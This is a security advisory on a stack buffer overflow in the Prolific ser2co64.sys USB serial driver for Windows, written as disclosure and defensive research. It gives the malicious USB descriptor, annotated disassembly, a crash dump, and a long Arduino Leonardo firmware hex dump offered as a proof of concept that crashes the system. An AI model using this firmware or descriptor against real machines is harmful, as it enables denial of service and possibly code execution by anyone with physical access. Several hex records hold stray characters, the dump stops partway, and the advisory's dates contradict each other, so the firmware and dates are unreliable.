OS-S Security Advisory 2016-04
Prolific Ser2co64.sys Stack-Buffer Overflow

Date: February 8th, 2015
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg
CVE: Not assigned yet
CVSS: 7.2 (AV:L/AC:L/Au:N/C:C/I:C/A:C)
Title: Local Microsoft Windows 7 / 8 / 10 Buffer Overflow via Third-Party USB-Driver
Severity: Critical. The OS halts (BSOD). Arbitrary code execution probable.
Ease of Exploitation: Trivial
Vulnerability Type: Stack Buffer Overflow
Products: Windows 7 / 8 / 10 Ser2co64.sys driver
Vendor: Prolific Technology Inc.
Vendor contacted: December, 23rd 2016

Abstract:
The ser2co64.sys driver is vulnerable to a stack buffer overflow. If a malicious USB device is presented, the buffer overflow occurs. This driver is digitally signed by Microsoft and provided via Windows Update.

Detailed product description:
We confirmed the bug on the following system:

- Microsoft Windows 7 (x86-64)
- Microsoft Windows 8 (x86-64)
- Microsoft Windows 10 (x86-64)

Ser2co64.sys driver:

- Name: USB-to Serial Cable Driver
- Version: 3.3.0.1
- Originalfilename: SER2PL.SYS

Description:
The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x1
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x50d
idProduct:	0x257
bcdDevice:	0x100
iManufacturer:	0x1

iProduct: 0x2
iSerialNumbers: 0x3
bNumConfigurations: 0x1

[*] Configuration-Descriptor

bLength: 0x9
bDescriptorType: 0x2
wTotalLength: 0x27
bNumInterfaces: 0x1
bConfigurationValue: 0x1
iConfiguration: 0x0
bmAttributes: 0x0
bMaxPower: 0x31

[*] Interface-Descriptor

bLength: 0x9
bDescriptorType: 0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints: 0x3
bInterfaceClass: 0x1
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x81
bmAttribut: 0x3
wMaxPacketSize: 0x404
bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x1
bmAttribut: 0x2
wMaxPacketSize: 0x4
bInterval: 0xc

[*] Endpoint-Descriptor:

bLength: 0x7
bDescriptorType: 0x5
bEndpointAddress: 0x82
bmAttribut: 0x1
wMaxPacketSize: 0x4
bInterval: 0xc

[*] String-Descriptor (StringIndex: 0,1,2,3,4)

bLength: 0xc8
bDescriptorType: 0x3
stringData: 0x41 * 198

We were able to establish the underlying cause for this crash. As shown in the WinDbg-Report, a stack buffer overflow occurs by presenting a malicious USB device. This happens due to a wrong usage of the WDF-function “WdfUSBTargetDeviceQueryString” [1]. The “NumCharacters”- argument specifies the number of characters, which the supplied buffer can hold. The ser2co64.sys driver passes the argument 0x40, which is also the size of the defined buffer. Unfortunately, the “NumCharactes”-argument specifies the number of unicode-characters, which are 2 bytes instead of 1 byte per character in size. This incorrect usage leads to a possible buffer overflow. Any String bLength value greater than 64 for the requested StringIndex 1 or 2 results in a crash of the OS (BSOD).

If the stack-canary secret is obtained during runtime, this bug allows arbitrary code execution by connecting a crafted USB device. In such case, this vulnerability is impacting confidentiality, integrity, and availability.

```
...
000000000001b467       mov       al, byte [ds:rbx+bDeviceClass]
000000000001b46d       lea       edi, dword [ds:rsi+0x40]                      ; NumCharacters
000000000001b470       cmp       al, 0x2
000000000001b472       jne       0x1b47c
...


...
000000000001b4c8       mov       rdx, qword [ds:rbx+Request]
000000000001b4cf       mov       rcx, qword [ds:UsbDevice]
000000000001b4d6       mov       word [ss:rsp+var_80], 0x409                   ; LangID
000000000001b4dd       lea       rax, qword [ss:rsp+NumCharactes]
000000000001b4e2       mov       byte [ss:rsp+var_88], 0x2                     ; StringIndex (2)
000000000001b4e7       mov       qword [ss:rsp+var_90], rax
000000000001b4ec       lea       rax, qword [ss:rsp+buffer_64b]          ; String
000000000001b4f1       xor       r9d, r9d
000000000001b4f4       xor       r8d, r8d
000000000001b4f7       mov       qword [ss:rsp+var_98], rax
000000000001b4fc       call      qword [ds:WdfUSBTargetDeviceQueryString]      ; incorrect usage
...


...
000000000001b552       mov       byte [ss:rsp+var_88], bpl                     ; StringIndex (1)
000000000001b557       mov       qword [ss:rsp+var_90], rax
000000000001b55c       lea       rax, qword [ss:rsp+buffer_64b]
000000000001b561       xor       r9d, r9d
000000000001b564       xor       r8d, r8d
000000000001b567       mov       qword [ss:rsp+var_98], rax
000000000001b56c       call      qword [ds:WdfUSBTargetDeviceQueryString]      ; incorrect usage
...
```

Proof of Concept:
For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device and exploit the buffer overflow (DoS). All Microsoft Windows versions tested will automatically download and install the ser2co64.sys driver.
To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

1 https://msdn.microsoft.com/en-us/library/windows/hardware/ff550096(v=vs.85).aspx

Severity and Ease of Exploitation:
The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

Vendor Communication:
We contacted Prolific and Microsoft on the December, 23rd 2015. We did not receive any response, yet. In accordance with our Responsible Disclosure Policy, we publish this Security Advisory.

WinDbg Report:

```
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

DRIVER_OVERRAN_STACK_BUFFER (f7)
A driver has overrun a stack-based buffer.  This overrun could potentially
allow a malicious user to gain control of this machine.
DESCRIPTION
A driver overran a stack-based buffer (or local variable) in a way that would
have overwritten the function's return address and jumped back to an arbitrary
address when the function returned.  This is the classic "buffer overrun"
hacking attack and the system has been brought down to prevent a malicious user
from gaining complete control of it.
Do a kb to get a stack backtrace -- the last routine on the stack before the
buffer overrun handlers and bugcheck call is the one that overran its local
variable(s).
Arguments:
Arg1: 0000f80128ad0290, Actual security check cookie from the stack
Arg2: 0000f80128ad3673, Expected security check cookie
Arg3: ffff07fed752c98c, Complement of the expected security check cookie
Arg4: 0000000000000000, zero

Debugging Details:
------------------

DUMP_CLASS: 1
DUMP_QUALIFIER: 401
BUILD_VERSION_STRING:  10586.0.amd64fre.th2_release.151029-1700
SYSTEM_MANUFACTURER:  Gigabyte Technology Co., Ltd.
SYSTEM_PRODUCT_NAME:  GA-MA74GM-S2H
BIOS_VENDOR:  Award Software International, Inc.
BIOS_VERSION:  F2
BIOS_DATE:  12/31/2008
BASEBOARD_MANUFACTURER:  Gigabyte Technology Co., Ltd.
BASEBOARD_PRODUCT:  GA-MA74GM-S2H
BASEBOARD_VERSION:  x.x
DUMP_TYPE:  1
BUGCHECK_P1: f80128ad0290
BUGCHECK_P2: f80128ad3673
BUGCHECK_P3: ffff07fed752c98c
BUGCHECK_P4: 0
SECURITY_COOKIE:  Expected 0000f80128ad3673 found 0000f80128ad0290
CPU_COUNT: 2
CPU_MHZ: bbe
CPU_VENDOR:  AuthenticAMD
CPU_FAMILY: f
CPU_MODEL: 43
CPU_STEPPING: 3
DEFAULT_BUCKET_ID:  WIN8_DRIVER_FAULT
BUGCHECK_STR:  0xF7
PROCESS_NAME:  System
CURRENT_IRQL:  0
ANALYSIS_SESSION_HOST:  DESKTOP-68IENUU
ANALYSIS_SESSION_TIME:  12-17-2015 07:16:05.0688
ANALYSIS_VERSION: 10.0.10586.567 amd64fre
LOCK_ADDRESS:  fffff800e630b420 -- (!locks fffff800e630b420)

Resource @ nt!PiEngineLock (0xfffff800e630b420)    Exclusively owned
                        Contention Count = 120
```

```
                    NumberOfExclusiveWaiters = 1
                     Threads: ffffe000461cb040-01<*>
                     Threads Waiting On Exclusive Access:
                                                          ffffe0004557b040

1 total locks, 1 locks currently held

PNP_TRIAGE:
          Lock address  : 0xfffff800e630b420
          Thread Count  : 1
          Thread address: 0xffffe000461cb040
          Thread wait   : 0x777a

LAST_CONTROL_TRANSFER:  from fffff80128acd0be to fffff800e6155f80

STACK_TEXT:
ffffd001`55390248 fffff801`28acd0be : 00000000`000000f7 0000f801`28ad0290 0000f801`28ad3673
ffff07fe`d752c98c : nt!KeBugCheckEx
ffffd001`55390250 fffff801`28acb67e : fffff801`28ad1f10 00000000`00000001 fffff801`28ad1ef0
00000000`00000000 : ser2co64+0xd0be
ffffd001`55390290 fffff801`28ad8cb5 : ffffe000`46f8b970 ffffe000`46f8bc60 00000000`00000002
00000000`00000000 : ser2co64+0xb67e
ffffd001`55390350 fffff801`25eb5dc2 : ffffe000`47b3b2a0 00000000`00000004 00000000`00000000
ffffe000`47b3b2a0 : ser2co64+0x18cb5
ffffd001`55390390 fffff801`25ecfbd9 : ffffe000`4652fc50 ffffe000`4652fc50 00000000`00000000 00000000`00000000
: Wdf01000!FxPkgPnp::PnpPrepareHardware+0xc2
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 3571]
ffffd001`553903d0 fffff801`25eb5ff9 : ffffe000`47b3b201 ffffe000`47b3b2a0 00000000`00000108 fffff801`25f35eb0 :
Wdf01000!FxPkgPnp::PnpEventHardwareAvailable+0x69
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 1396]
ffffd001`55390410 fffff801`25eb3cdf : ffffe000`47b3b3f8 ffffd001`00000000 00000000`00000000
00000000`00000000 : Wdf01000!FxPkgPnp::PnpProcessEventInner+0x1c9
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 1150]
ffffd001`553904c0 fffff801`25eb28be : 00000000`00000000 ffffe000`47b3b2a0 ffffe000`4652fc50
00000000`00000000 : Wdf01000!FxPkgPnp::PnpProcessEvent+0x1ef
[d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\pnpstatemachine.cpp @ 933]
ffffd001`55390560 fffff801`25eadff2 : ffffe000`47b3b2a0 ffffd001`553906c0 00000000`00000000 ffffe000`46f8b970 :
Wdf01000!FxPkgPnp::_PnpStartDevice+0x1e [d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\fxpkgpnp.cpp @
1845]
ffffd001`55390590 fffff801`25ea11b1 : ffffe000`481d1c10 ffffe000`46f8b970 00000000`00000000 ffffd001`55390710 :
Wdf01000!FxPkgPnp::Dispatch+0xb2 [d:\th\minkernel\wdf\framework\shared\irphandlers\pnp\fxpkgpnp.cpp @ 654]
ffffd001`55390600 fffff801`27b575e4 : ffffd001`553906c0 00000000`00000000 00000000`00000000
00000000`00000000 : Wdf01000!FxDevice::DispatchWithLock+0x111
[d:\th\minkernel\wdf\framework\shared\core\fxdevice.cpp @ 1402]
ffffd001`55390660 fffff801`27b5722c : ffffe000`481d1c10 ffffe000`4652fc50 ffffe000`458f7270 00000000`00000200 :
serenum!Serenum_FDO_PnP+0x3a4
ffffd001`553906e0 fffff800`e63c7a7d : ffffe000`458f7200 ffffd001`55390704 00000000`00000000
00000000`00000000 : serenum!Serenum_PnP+0x3c
ffffd001`55390710 fffff800`e6017e14 : ffffe000`458f7270 00000000`00000000 ffffe000`47dd24f0
00000000`00000000 : nt!PnpAsynchronousCall+0xe5
ffffd001`55390750 fffff800`e6107ae4 : 00000000`00000000 ffffe000`458f7270 fffff800`e6017970 fffff800`e6017970 :
nt!PnpSendIrp+0x54
ffffd001`553907c0 fffff800`e64f7c73 : ffffe000`45f2a010 ffffe000`47dd24f0 00000000`00000000 00000000`00000000
: nt!PnpStartDevice+0x88
ffffd001`55390850 fffff800`e64f7b5f : ffffe000`45f2a010 ffffd001`55390a20 00000000`00000000 ffffe000`45f2a010 :
nt!PnpStartDeviceNode+0xdb
ffffd001`553908e0 fffff800`e64dc927 : ffffe000`45f2a010 00000000`00000001 00000000`00000001
ffffe000`46a9ad30 : nt!PipProcessStartPhase1+0x53
ffffd001`55390920 fffff800`e64afc95 : ffffe000`46936fb0 00000000`00000001 ffffd001`55390c59 fffff800`e64db563 :
nt!PipProcessDevNodeTree+0x40b
ffffd001`55390ba0 fffff800`e60fb702 : 00000001`00000003 00000000`00000000 00000000`00000000
00000000`ffff62e9 : nt!PiProcessReenumeration+0xa1
ffffd001`55390bf0 fffff800`e607eb79 : ffffe000`461cb040 fffff800`e6309ec0 fffff800`e63a7340 ffffe000`00000000 : nt!
PnpDeviceActionWorker+0x166
ffffd001`55390cc0 fffff800`e601d125 : 00000204`a83b7dfe 00000000`00000080 ffffe000`4547a700
ffffe000`461cb040 : nt!ExpWorkerThread+0xe9
ffffd001`55390d50 fffff800`e615b126 : fffff800`e6331180 ffffe000`461cb040 fffff800`e601d0e4 00000000`00000000 :
nt!PspSystemThreadStartup+0x41
ffffd001`55390da0 00000000`00000000 : ffffd001`55391000 ffffd001`5538b000 00000000`00000000
00000000`00000000 : nt!KiStartSystemThread+0x16


STACK_COMMAND:  kb
THREAD_SHA1_HASH_MOD_FUNC:  f4f5bae4d9ad04ab97c90bc2a676b58d2f75a89d
THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  d47bbca00809a763134ff7bef6c61512ffc01318
THREAD_SHA1_HASH_MOD:  5c4655ab0700f60ba15e2ca5a5de330b1c6bd244

FOLLOWUP_IP:
ser2co64+d0be
fffff801`28acd0be cc            int     3
```

```
FAULT_INSTR_CODE:  cccccccc
SYMBOL_STACK_INDEX:  1
SYMBOL_NAME:  ser2co64+d0be
FOLLOWUP_NAME:  MachineOwner
MODULE_NAME: ser2co64
IMAGE_NAME:  ser2co64.sys
DEBUG_FLR_IMAGE_TIMESTAMP:  47a1334c
BUCKET_ID_FUNC_OFFSET:  d0be
FAILURE_BUCKET_ID:  0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function
BUCKET_ID:  0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function
PRIMARY_PROBLEM_CLASS:  0xF7_MISSING_GSFRAME_ser2co64!Unknown_Function
TARGET_TIME:  2015-12-17T05:58:12.000Z
OSBUILD:  10586
OSSERVICEPACK:  0
SERVICEPACK_NUMBER: 0
OS_REVISION: 0
SUITE_MASK:  272
PRODUCT_TYPE:  1
OSPLATFORM_TYPE:  x64
OSNAME:  Windows 10
OSEDITION:  Windows 10 WinNt TerminalServer SingleUserTS
OS_LOCALE:
USER_LCID:  0
OSBUILD_TIMESTAMP:  2015-10-30 03:15:45
BUILDDATESTAMP_STR:  151029-1700
BUILDLAB_STR:  th2_release
BUILDOSVER_STR:  10.0.10586.0.amd64fre.th2_release.151029-1700
ANALYSIS_SESSION_ELAPSED_TIME: 23cc
ANALYSIS_SOURCE:  KM
FAILURE_ID_HASH_STRING:  km:0xf7_missing_gsframe_ser2co64!unknown_function
FAILURE_ID_HASH:  {f0c18b7a-b764-aed1-b7d6-9f6515a68c5a}
Followup:     MachineOwner
---------
```

Arduino Leonardo Firmware:

```
:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94D0050C942B04C2
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C940A02C5
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50007030A030A
:1000B000FD0201032B032B032B030E031203160374
:1000C0001C0320032B032603000000200080E007F
:1000D00000030401000B0000000000000000000D
:1000E000000000000000040802011040804010020C1
:1000F000408040800802040180402010020110800EE
:10010000102040400404040404030404050202020217
:10011000040302020202060606060606040402020A0
:10012000020400000000230026002900 2C002F00FC
:10013000000000000250028002B002E0031000000E8
:10014000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF14E0A0E078
:10016000B1E0EEEFF3E102C005900D92A63EB107BB
:10017000D9F725E0A6EEB4E001C01D92A230B20787
:10018000E1F70E94C8000C9419070C940000089530
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E949D020E94C70060E06F
:1001B00083E00E942C0361E087E00E942C0361E051
:1001C00088E00E942C030E946E067E012AE9E20E5E
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E4E2F1E0FE
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E6E4F1E0DE01939601900D92DA
:100210008A95E1F782E1EEE5F1E0DE01DB960190FF
:100220000D928A95E1F789E0E0E7F1E0DE01A0595F
```

```
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E9E7F1E0D80101900D928A9500
:10026000E1F7BE0160587F4F87E0E0E8F1E0DB0195
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E7E8F1E0DA0101900D928A95E1F75E016D
:10029000FEE8AF0EB11C86E0EEE8F1E0D50101907A
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
:1002C0009C92F4E01196FC9311971496EC9314977A
:1002D0008824839415968C92F901DC01292D0190D4
:1002E0000D922A95E1F7FE01EC56FF4FDC011B96BB
:1002F000FC93EE931A971D96BC92AE921C971183B5
:10030000083738362835583448 30C5211092CE06C
:10031000F80111922A95E9F7D80119968C9219974C
:10032000FE01E059FF4F01900D929A94E1F7F80118
:10033000 9387828761E088E00E94650384E991E009
:100340000E947A0683ED91E00E947A0682E192E0B3
:100350000E947A068EE492E00E947A068BE892E090
:100360000E947A0680EB92E00E947A0683E00E9467
:100370009B03892B09F047C05E01F3E2AF0EB11C6D
:10038000 8824839482E1982E89ED92E00E947A0677
:10039000BF92AF92DF92CF92FF92EF921F928F9215
:1003A0001F930F932DB73EB7225131090FB6F89422
:1003B0003EBF0FBE2DBFADB7BEB71196FE01FB9677
:1003C000892D01900D928A95E1F78FEE94E00E94BD
:1003D0000F0668E873E180E090E00E9477028FEEFC
:1003E00094E00E94630660E087E00E94650368E88D
:1003F00073E180E090E00E9477020FB6F894DEBFD0
:100400000FBECDBFC1CF6AE070E080E090E00E94F7
:100410007702ACCF1F920F920FB60F9211242F9339
:100420003F938F939F93AF93BF938091E7049091F5
:10043000E804A091E904B091EA043091E60423E0D5
:10044000230F2D3720F40196A11DB11D05C026E80C
:10045000230F0296A11DB11D2093E6048093E704AB
:100460009093E804A093E904B093EA048091EB042C
:100470009091EC04A091ED04B091EE040196A11DC1
:10048000B11D8093EB049093EC04A093ED04B09322
:10049000EE04BF91AF919F918F913F912F910F905B
:1004A0000FBE0F901F9018953FB7F8948091EB0402
:1004B0009091EC04A091ED04B091EE0426B5A89BB8
:1004C00005C02F3F19F00196A11DB11D3FBF662742
:1004D000782F892F9A2F620F711D811D911D42E087
:1004E000660F771F881F991F4A95D1F70895CF92FD
:1004F000DF92EF92FF92CF93DF936B017C010E941A
:100500005402EB01C114D104E104F10479F00E941A
:1005100054026C1B7D0B683E7340A0F381E0C81A47
:10052000D108E108F108C851DC4FECCFDF91CF9141
:10053000FF90EF90DF90CF900895789484B582601B
:1005400084BD84B5816084BD85B5826085BD85B577
:1005500816085BDEEE6F0E0808181608083E1E826
:10056000F0E0108280818260808380818160808 35E
:10057000E0E8F0E0808181608083E1E9F0E0808163
:1005800082608083808181608083E0E9F0E0808107
:1005900081608083E1ECF0E08081846080838081F1
:1005A000826080838081816080 83E3ECF0E08081E1
:1005B00081608083E0ECF0E0808182608083E2EC07
:1005C000F0E0808181608083EAE7F0E080818460F0
:1005D000808083808182608083808181608080380814C
:1005E000806808808308959 0E0FC013197EE30F1053A
:1005F00090F5EA5AFF4F0C94C009809180008F77E4
:1006000003C0809180008F7D80938000089584B521
:100610008F7702C084B58F7D84BD0895809190004E
:100620008F7707C0809190008F7D03C080919000EC
:10063000877F8093900008958091C0008F7703C0DA
:100640008091C0008F7D8093C00008958091C2008A
:10065000877F8093C2000895CF93DF9390E0FC01E1
```

```
:10066000EA51FF4F2491FC01EC5FFE4F84918823F7
:1006700049F190E0880F991FFC01E25CFE4FA591C3
:10068000B491805D9E4FFC01C591D4919FB76111DB
:1006900008C0F8948C91209582238C9388818223C2
:1006A0000AC0623051F4F8948C91322F3095832334
:1006B0008C938881822B888304C0F8948C91822B40
:1006C0008C939FBFDF91CF9108950F931F93CF938A
:1006D000DF931F92CDB7DEB7282F30E0F901E85342
:1006E000FF4F8491F901EA51FF4F1491F901EC5F3A
:1006F000FE4F04910023C9F0882321F069830E94F2
:10070000F3026981E02FF0E0EE0FFF1FE05DFE4F86
:10071000A591B4919FB7F8948C91611103C0109585
:1007200081230 1C0812B8C939FBF0F90DF91CF91CC
:100730001F910F910895CF93DF93282F30E0F90197
:10074000E853FF4F8491F901EA51FF4FD491F90129
:10075000EC5FFE4FC491CC2391F081110E94F30213
:10076000EC2FF0E0EE0FFF1FEE5DFE4FA591B49170
:100770002C912D2381E090E021F480E002C080E004
:1007800090E0DF91CF910895615030F02091F10019
:10079000FC0120830196F8CF289884E68093000519
:1007A00008951092E9001092F4041092F3049093CB
:1007B000F2048093F1040895FF920F931F93CF9357
:1007C000DF93F82E8B01EA01BA01C8010E94BB0633
:1007D000F80120E030E08EEF2C173D0791F1F7FE95
:1007E00002C0A49101C0A0816091F3047091F4044F
:1007F0004091F1045091F20464177507ACF49091A4
:10080000E8009570E1F39091E80092FD1CC0A09380
:10081000F100A091F304B091F4041196AF73BB27DB
:10082000AB2B11F48093E800A091F304B091F40491
:100830001196B093F404A093F3042F5F3F4F3196C9
:10084000CBCFC90102C08FEF9FEFDF91CF911F91F6
:100850000F91FF9008951F920F920FB60F921124DF
:100860006F927F928F929F92AF92BF92CF92DF92C0
:10087000EF92FF920F931F932F933F934F935F93AA
:100880006F937F938F939F93AF93BF93EF93FF9358
:10089000CF93DF93CDB7DEB76297DEBFCDBF1092A7
:1008A000E9008091E80083FF56C168E0CE010A9616
:1008B0000E94C40382EF8093E8009A8597FF05C0E9
:1008C0008091E80080FFFCCF03C08EEF8093E800AA
:1008D000892F807609F033C18B85811105C0109274
:1008E000F1001092F10030C1282F2D7F213009F442
:1008F0002BC1853049F48091E80080FFFCCF8C85C6
:10090000080688093E30020C1863009F0F1C02D8516
:1009100008891989223009F0B3C0EC848E2D90E04B
:100920002091F6043091F704821793070CF09FC0D2
:100930000E94D1031F92EF9285EF92E09F938F93D5
:100940000E9498068CE0E89E70011124E091F80462
:10095000F091F904EE0DFF1D89E0DE011196019082
:100960000D928A95E1F7C8010E94D10349E050E059
:10097000BE016F5F7F4F80E00E94DC030F900F90FD
:100980000F900F90C12CD12C612C712C3BE2A32E27
:1009900033E0B32E42E6842E43E0942EE091F80437
:1009A000F091F904EE0DFF1D818590E0681679063F
:1009B0000CF0CAC07F926F92BF92AF920E949806CD
:1009C000E091F804F091F904EE0DFF1D6285738546
:1009D0006C0D7D1D49E050E080E00E94DC030F902B
:1009E0000F900F900F9000E010E0E091F804F0916C
:1009F000F904EE0DFF1D0284F385E02DEC0DFD1DC5
:100A0000818590E0081719075CF51F930F939F925B
:100A10008F920E949806E091F804F091F904EE0D8F
:100A2000FF1D0284F385E02DEC0DFD1DC801880F2C
:100A3000991FA485B585A80FB91F4D915C910284BB
:100A4000F385E02DE80FF91F6081718180E00E943D
:100A5000DC030F5F1F4F0F900F900F900F90C5CFCB
:100A6000EFEF6E1A7E0AFEE0CF0ED11C97CF87E91A
:100A700093E09F938F930E9498060F900F9068C009
:100A8000C8012A8B0E94D1032A89213069F4888900
```

```
:100A90009989089711F42093F0048091F004811152
:100AA0001BC062E171E01AC0233009F051C08C858F
:100AB0001F928F9381EB93E09F938F930E949806F0
:100AC00042E050E06AE074E080E00E94DC030F90B6
:100AD0000F900F900F9038C060E071E061157105C4
:100AE000B9F1FB01408150E080E00E94DC032CC0A2
:100AF000873071F1883021F481E08093F10024C0C7
:100B0000893011F5937021F5EDE4F1E081E021E009
:100B100096E38093E9002093EB0034913093EC004E
:100B20009093ED008F5F3196843099F78EE7809334
:100B3000EA001092EA008C858093F50405C088894C
:100B400099890E94D10304C08EEF8093E80003C00E
:100B500081E28093EB0062960FB6F894DEBF0FBE81
:100B6000CDBFDF91CF91FF91EF91BF91AF919F9159
:100B70008F917F916F915F914F913F912F911F9135
:100B80000F91FF90EF90DF90CF90BF90AF909F902C
:100B90008F907F906F900F900FBE0F901F901895C1
:100BA0001F920F920FB60F9211248F939F938091F3
:100BB000E1001092E10083FF0FC01092E90091E084
:100BC0009093EB001092EC0092E39093ED00109262
:100BD000F50498E09093F00082FF1AC0809101051F
:100BE000882339F0809101058150809301058823 85
:100BF00069F080910005882359F0809100058150AB
:100C0000809300058110 4C0289A02C05D9AF1CF3B
:100C10009F918F910F900FBE0F901F901895CF93BB
:100C2000DF93CDB7DEB782E1FE013596A2E1B1E0F8
:100C300001900D928A95E1F782E1FE013596A0E0E0
:100C4000B1E001900D928A95E1F78F89988D90938C
:100C5000F9048093F804898D9A8D9093F70480931A
:100C6000F6048B8D9C8D9093FF048093FE048D8DF4
:100C70009E8D9093FD048093FC048F8D98A190939A
:100C8000FB048093FA041092F50481E08093D7006E
:100C900080EA8093D80082E189BD09B400FEFDCFCF
:100CA00061E070E080E090E00E94770280E980934C
:100CB000D8008CE08093E2001092E000559A209AD0
:100CC000DF91CF91089581E08093E00008959091A5
:100CD000C80095FFFCCF8093CE0008951092CD0000
:100CE00087E68093CC0088E18093C9008EE08093F2
:100CF000CA0008950F931F93CF93DF93EC018C01EB
:100D0000FE0101900020E9F73197EC1BFD0BC801B3
:100D10008C1B9D0B8E179F0730F4F80181918F017A
:100D20000E946706EDCFDF91CF911F910F9108953B
:100D3000CF93DF93CDB7DEB7DA950FB6F894DEBF69
:100D40000FBECDBFFE01EB5FFE4F419151919F0160
:100D500060E071E0CE0101960E941C07CE01019671
:100D60000E947A06D3950FB6F894DEBF0FBECDBFB2
:100D7000DF91CF9108958F929F92AF92BF92CF92C1
:100D8000DF92EF92FF920F931F93CF93DF9300D0E8
:100D9000CDB7DEB75B0123ED34E03F932F9389831A
:100DA0009A830E9498068981882E9A81992E0F90A5
:100DB0000F9000E010E08FEDE82E84E0F82E96ED25
:100DC000C92E92E0D92E0A151B05E4F4F401819195
:100DD0004F0190E09F938F93FF92EF920E949806AD
:100DE0000F5F1F4FC8018F7099270F900F900F90C2
:100DF0000F90892B41F7DF92CF920E9498060F90B7
:100E00000F90E1CF86ED92E09F938F930E9498061A
:100E10000F900F900F900F90DF91CF911F910F9136
:100E2000FF90EF90DF90CF90BF90AF909F908F900A
:100E30000895F8940C94FD09AEE0B0E0E2E2F7E02A
:100E40000C94D4098C01CA0146E04C831A830983AF
:100E500077FF02C060E070E8615071097E836D83A6
:100E6000A901BC01CE0101960E9448074D815E8117
:100E700057FD0AC02F813885421753070CF49A0199
:100E8000F801E20FF31F10822E96E4E00C94F009B3
:100E9000ACE0B0E0EEE4F7E00C94C6097C016B0135
:100EA0008A01FC0117821682838181FFBDC1CE01B8
:100EB00001964C01F7019381F60193FD859193FF13
```

```
:100EC00081916F01882309F4ABC1853239F493FD18
:100ED000859193FF81916F01853229F4B70190E0EC
:100EE0000E943009E7CF512C312C20E02032A0F4B1
:100EF0008B3269F030F4803259F0833269F420612A
:100F00002CC08D3239F0803339F4216026C0226044
:100F1000246023C0286021C027FD27C030ED380F92
:100F20003A3078F426FF06C0FAE05F9E300D1124B7
:100F3000532E13C08AE0389E300D1124332E2062C8
:100F40000CC08E3221F426FD6BC1206406C08C36A5
:100F500011F4206802C0883641F4F60193FD8591B2
:100F600093FF81916F018111C1CF982F9F7D95547F
:100F7000933028F40C5F1F4FFFE3F9830DC08336D5
:100F800031F0833771F0833509F05BC022C0F8017E
:100F9000808189830E5F1F4F44244394512C540158
:100FA00015C03801F2E06F0E711CF801A080B1800D
:100FB00026FF03C0652D70E002C06FEF7FEFC50113
:100FC0002C870E9425092C0183012C852F77222E46
:100FD00017C03801F2E06F0E711CF801A080B180DB
:100FE00026FF03C0652D70E002C06FEF7FEFC501E3
:100FF0002C870E941A092C012C852068222E83013F
:1010000023FC1BC0832D90E048165906B0F4B701AD
:1010100080E290E00E9430093A94F4CFF50127FC79
:10102000859127FE81915F01B70190E00E94300910
:1010300031103A94F1E04F1A51084114510471F7FC
:10104000E5C0843611F0893639F5F80127FF07C06D
:10105000608171818281938 10C5F1F4F08C0608124
:10106000718188277 7FD8095982F0E5F1F4F2F760F
:10107000B22E97FF09C090958095709561957F4F2E
:101080008F4F9F4F2068B22E2AE030E0A4010E94CB
:101090006209A82EA81844C0853729F42F7EB22EE5
:1010A0002AE030E025C0F22FF97FBF2E8F36C1F045
:1010B00018F4883579F0B4C0803719F0883721F0FA
:1010C000AFC02F2F2061B22EB4FE0DC08B2D8460D7
:1010D000B82E09C024FF0AC09F2F9660B92E06C003
:1010E00028E030E005C020E130E002C020E132E03D
:1010F000F801B7FE07C060817181828193810C5F26
:101100001F4F06C06081718180E090E00E5F1F4F2D
:10111000A4010E946209A82EA818FB2DFF77BF2EFC
:10112000B6FE0BC02B2D2E7FA51450F4B4FE0AC0C2
:10113000B2FC08C02B2D2E7E05C07A2C2B2D03C0AF
:101140007A2C01C0752C24FF0DC0FE01EA0DF11DA3
:1011500081803311F4297E09C022FF06C0739478
:10116000739404C0822F867809F0739423FD13C012
:1011700020FF06C05A2C731418F4530C5718732C04
:10118000731468F4B70180E290E02C870E94300964
:1011900073942C85F5CF731410F4371801C0312CDB
:1011A00024FF12C0B70180E390E02C870E94300931
:1011B0002C8522FF17C021FF03C088E590E002C004
:1011C00088E790E0B7010CC0822F867859F021FDA6
